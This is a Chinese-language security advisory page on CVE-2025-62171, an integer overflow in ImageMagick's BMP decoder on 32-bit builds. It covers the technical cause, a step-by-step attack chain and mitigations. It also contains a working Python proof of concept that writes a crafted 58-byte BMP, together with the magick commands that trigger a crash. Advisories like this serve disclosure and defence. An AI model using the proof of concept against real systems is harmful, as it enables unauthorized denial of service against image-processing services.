IPBUF安全漏洞报告
English
CVE-2025-62171 CVSS 5.9 中危

CVE-2025-62171 ImageMagick BMP解码器整数溢出漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62171
漏洞类型
整数溢出
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ImageMagick

相关标签

整数溢出ImageMagickBMP解码器拒绝服务32位系统CVE-2025-62171开源软件图像处理缓冲区溢出远程利用

漏洞概述

CVE-2025-62171是ImageMagick开源图像处理软件套件中BMP解码器存在的一个整数溢出漏洞。该漏洞影响ImageMagick 7.1.2-7之前版本和6.9.13-32之前版本。漏洞位于coders/bmp.c文件中,当解码BMP图像时,计算图像列数与每像素位数(bits per pixel)的乘积以确定extent值时会发生整数溢出。在32位系统中,size_t类型为4字节,攻击者可以通过构造特定尺寸的恶意BMP文件,使乘法运算结果溢出并环绕为零。值得注意的是,该漏洞仅影响32位构建版本的ImageMagick,且需要管理员手动将默认的资源限制(宽度、高度、面积)调整超出默认值才会受到影响。64位系统由于size_t为8字节,不会受到此漏洞影响。此外,为修复CVE-2025-57803而添加的溢出检查被放置在溢出发生之后,导致该检查无效。该漏洞已在ImageMagick 7.1.2-7和6.9.13-32版本中修复。CVSS 3.1评分为5.9分,属于中危级别,主要影响为可用性(Availability: High),攻击者可通过网络远程利用,无需认证和用户交互即可触发拒绝服务攻击。

技术细节

该漏洞的核心问题在于BMP解码器中extent值的计算逻辑。在coders/bmp.c文件中,当解析BMP图像时,代码会执行类似 `image->columns * bits_per_pixel` 的乘法运算来计算bytes_per_line等关键参数。在32位系统中,size_t为4字节无符号整数,其最大值为4,294,967,295(约42亿)。当width设置为536,870,912(0x20000000)且bits_per_pixel为32时,乘积为536,870,912 * 32 = 17,179,869,184,超出了32位无符号整数的最大值,导致整数溢出并环绕为0。关键问题在于:1)原代码中为修复CVE-2025-57803而添加的溢出检查逻辑位置不当——检查发生在乘法运算之后,而非之前,因此无法阻止溢出发生;2)当bytes_per_line变为0后,后续的内存分配和数据处理将基于错误的参数,可能导致除零错误、缓冲区分配异常或内存损坏,最终造成拒绝服务。攻击者仅需构造一个58字节的最小化BMP文件即可触发此漏洞,文件结构包含14字节的BMP文件头和40字节的BITMAPINFOHEADER以及4字节的像素数据。该漏洞的利用条件较为苛刻:仅影响32位系统且需要修改默认资源限制,但一旦满足条件,攻击可通过网络远程实施,无需任何用户交互。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要目标系统运行32位构建版本的ImageMagick(7.1.2-7之前或6.9.13-32之前),且管理员已将默认资源限制(宽度、高度、面积)手动调整超出默认值。
STEP 2
步骤2:构造恶意BMP文件
攻击者构造一个58字节的特制BMP文件,设置width为536,870,912(0x20000000),bits_per_pixel为32。该参数组合在32位系统中计算extent值时会导致乘法溢出。
STEP 3
步骤3:投递恶意文件
攻击者通过网络上传恶意BMP文件到目标服务器,或通过Web应用、邮件附件等方式将文件投递到目标系统。由于攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),投递过程简单。
STEP 4
步骤4:触发漏洞
当ImageMagick处理该恶意BMP文件时(例如通过convert、identify命令或Web图像处理服务),BMP解码器计算columns * bits_per_pixel时发生整数溢出,bytes_per_line变为0。
STEP 5
步骤5:拒绝服务
溢出检查因位置不当而失效,后续内存分配和处理基于错误的参数,导致除零错误或内存损坏,造成ImageMagick进程崩溃,触发拒绝服务攻击(Availability: High)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-62171 PoC - ImageMagick BMP Decoder Integer Overflow Generates a malicious 58-byte BMP file that triggers integer overflow in ImageMagick's BMP decoder on 32-bit systems. """ import struct def create_malicious_bmp(filename="cve_2025_62171.bmp"): # BMP File Header (14 bytes) signature = b'BM' # Magic number file_size = 58 # Total file size (58 bytes) reserved1 = 0 # Reserved field reserved2 = 0 # Reserved field pixel_offset = 54 # Offset to pixel data (14 + 40) bmp_header = struct.pack('<2sIHHI', signature, file_size, reserved1, reserved2, pixel_offset) # DIB Header - BITMAPINFOHEADER (40 bytes) header_size = 40 # DIB header size width = 536870912 # 0x20000000 - triggers overflow with 32bpp height = 1 # Minimal height planes = 1 # Number of color planes bits_per_pixel = 32 # 32 bits per pixel compression = 0 # No compression (BI_RGB) image_size = 0 # Can be 0 for BI_RGB x_pixels_per_meter = 0 # Horizontal resolution y_pixels_per_meter = 0 # Vertical resolution colors_used = 0 # Number of colors in palette important_colors = 0 # Important colors dib_header = struct.pack('<IiiHHIIiiII', header_size, width, height, planes, bits_per_pixel, compression, image_size, x_pixels_per_meter, y_pixels_per_meter, colors_used, important_colors) # Pixel data (4 bytes to reach total 58 bytes) pixel_data = b'\x00\x00\x00\x00' # Combine all parts bmp_data = bmp_header + dib_header + pixel_data assert len(bmp_data) == 58, f"Expected 58 bytes, got {len(bmp_data)}" with open(filename, 'wb') as f: f.write(bmp_data) print(f"[+] Malicious BMP file created: {filename}") print(f"[+] File size: {len(bmp_data)} bytes") print(f"[+] Width: {width} (0x{width:08X})") print(f"[+] Bits per pixel: {bits_per_pixel}") print(f"[+] Overflow calculation: {width} * {bits_per_pixel} = {width * bits_per_pixel}") print(f"[+] On 32-bit system: wraps to {(width * bits_per_pixel) % (2**32)}") print() print("[*] To trigger the vulnerability:") print(f" magick identify {filename}") print(f" magick convert {filename} /tmp/output.png") if __name__ == "__main__": create_malicious_bmp()

影响范围

ImageMagick < 7.1.2-7
ImageMagick < 6.9.13-32

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)使用64位系统运行ImageMagick服务,64位系统的size_t为8字节,不会触发整数溢出;2)保持ImageMagick的默认资源限制,不要手动修改policy.xml中的width、height、area等参数;3)在Web应用层面对上传的图像文件进行严格的类型和大小验证,限制BMP文件的处理;4)使用沙箱环境运行ImageMagick,限制其对系统资源的影响;5)监控ImageMagick相关进程,及时发现异常崩溃并采取响应措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表